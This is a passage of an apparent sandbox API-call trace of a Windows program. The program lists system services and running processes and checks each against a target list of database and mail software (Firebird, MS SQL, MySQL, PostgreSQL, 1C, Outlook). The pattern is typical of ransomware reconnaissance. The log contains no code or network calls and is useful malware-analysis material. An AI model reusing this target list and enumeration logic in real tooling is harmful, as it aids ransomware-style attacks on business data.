[0235.371] lstrlenW (lpString="Dnscache") returned 8 [0235.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0235.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0235.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0235.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0235.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0235.371] lstrlenW (lpString="eventlog") returned 8 [0235.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0235.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0235.371] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0235.371] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0235.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0235.371] lstrlenW (lpString="EventSystem") returned 11 [0235.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0235.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0235.371] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0235.371] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0235.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0235.371] lstrlenW (lpString="gpsvc") returned 5 [0235.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0235.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0235.371] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0235.371] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0235.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0235.371] lstrlenW (lpString="lmhosts") returned 7 [0235.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0235.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0235.371] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0235.371] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0235.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0235.372] lstrlenW (lpString="MMCSS") returned 5 [0235.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0235.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0235.372] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0235.372] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0235.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0235.372] lstrlenW (lpString="MpsSvc") returned 6 [0235.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0235.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0235.372] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0235.372] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0235.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0235.372] lstrlenW (lpString="nsi") returned 3 [0235.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0235.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0235.372] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0235.372] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0235.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0235.372] lstrlenW (lpString="PlugPlay") returned 8 [0235.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0235.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0235.372] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0235.372] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0235.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0235.372] lstrlenW (lpString="Power") returned 5 [0235.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0235.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0235.372] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0235.372] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0235.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0235.372] lstrlenW (lpString="ProfSvc") returned 7 [0235.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0235.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0235.372] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0235.372] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0235.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0235.373] lstrlenW (lpString="RpcEptMapper") returned 12 [0235.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0235.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0235.373] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0235.373] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0235.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0235.373] lstrlenW (lpString="RpcSs") returned 5 [0235.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0235.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0235.373] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0235.373] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0235.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0235.373] lstrlenW (lpString="SamSs") returned 5 [0235.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0235.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0235.373] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0235.373] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0235.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0235.373] lstrlenW (lpString="Schedule") returned 8 [0235.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0235.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0235.373] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0235.373] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0235.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0235.373] lstrlenW (lpString="SENS") returned 4 [0235.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0235.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0235.373] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0235.373] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0235.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0235.373] lstrlenW (lpString="ShellHWDetection") returned 16 [0235.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0235.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0235.373] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0235.373] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0235.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0235.373] lstrlenW (lpString="Spooler") returned 7 [0235.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0235.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0235.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0235.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0235.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0235.374] lstrlenW (lpString="Themes") returned 6 [0235.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0235.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0235.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0235.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0235.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0235.374] lstrlenW (lpString="UxSms") returned 5 [0235.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0235.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0235.374] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0235.374] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0235.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0235.374] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x59e870 | out: hHeap=0x530000) returned 1 [0235.374] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x134 [0235.375] Process32FirstW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0235.375] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0235.376] lstrlenW (lpString="System") returned 6 [0235.376] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0235.376] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0235.376] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0235.376] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0235.376] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0235.376] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0235.376] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0235.376] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0235.376] lstrlenW (lpString="smss.exe") returned 8 [0235.376] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0235.376] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0235.376] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0235.376] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0235.376] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0235.376] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0235.376] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0235.376] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.377] lstrlenW (lpString="csrss.exe") returned 9 [0235.377] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0235.377] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0235.377] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0235.377] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0235.377] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0235.377] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0235.377] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0235.377] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0235.377] lstrlenW (lpString="wininit.exe") returned 11 [0235.377] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0235.377] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0235.377] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0235.377] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0235.377] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0235.377] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0235.377] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0235.377] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0235.378] lstrlenW (lpString="csrss.exe") returned 9 [0235.378] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0235.378] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0235.378] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0235.378] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0235.378] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0235.378] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0235.378] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0235.378] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0235.378] lstrlenW (lpString="winlogon.exe") returned 12 [0235.378] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0235.378] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0235.378] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0235.378] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0235.378] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0235.378] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0235.378] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0235.378] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0235.379] lstrlenW (lpString="services.exe") returned 12 [0235.379] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0235.379] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0235.379] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0235.379] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0235.379] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0235.379] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0235.379] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0235.379] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0235.379] lstrlenW (lpString="lsass.exe") returned 9 [0235.379] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0235.379] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0235.379] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0235.379] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0235.379] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0235.379] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0235.379] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0235.379] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0235.380] lstrlenW (lpString="lsm.exe") returned 7 [0235.380] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0235.380] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0235.380] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0235.380] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0235.380] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0235.380] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0235.380] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0235.380] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.380] lstrlenW (lpString="svchost.exe") returned 11 [0235.380] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0235.380] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0235.380] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0235.380] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0235.380] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0235.380] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0235.380] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0235.380] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.381] lstrlenW (lpString="svchost.exe") returned 11 [0235.381] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0235.381] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0235.381] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0235.381] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0235.381] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0235.381] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0235.381] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0235.381] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.381] lstrlenW (lpString="svchost.exe") returned 11 [0235.381] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0235.381] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0235.381] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0235.381] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0235.381] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0235.381] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0235.381] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0235.381] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0235.382] lstrlenW (lpString="LogonUI.exe") returned 11 [0235.382] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0235.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0235.382] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0235.382] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0235.382] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0235.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="LogonUI.exe") returned 1 [0235.382] lstrcmpiW (lpString1="sqlservr.exe", lpString2="LogonUI.exe") returned 1 [0235.382] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.382] lstrlenW (lpString="svchost.exe") returned 11 [0235.382] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0235.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0235.382] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0235.382] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0235.382] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0235.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0235.382] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0235.382] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.383] lstrlenW (lpString="svchost.exe") returned 11 [0235.383] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0235.383] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0235.383] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0235.383] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0235.383] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0235.383] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0235.383] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0235.383] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0235.383] lstrlenW (lpString="audiodg.exe") returned 11 [0235.383] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0235.383] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0235.383] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0235.383] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0235.383] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0235.383] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0235.383] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0235.383] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.383] lstrlenW (lpString="svchost.exe") returned 11 [0235.383] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0235.384] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0235.384] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0235.384] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0235.384] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0235.384] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0235.384] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0235.384] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0235.384] lstrlenW (lpString="svchost.exe") returned 11 [0235.384] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0235.384] lstrlenW (lpString="userinit.exe") returned 12 [0235.384] Process32NextW (in: hSnapshot=0x134, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0235.385] lstrlenW (lpString="dwm.exe") returned 7 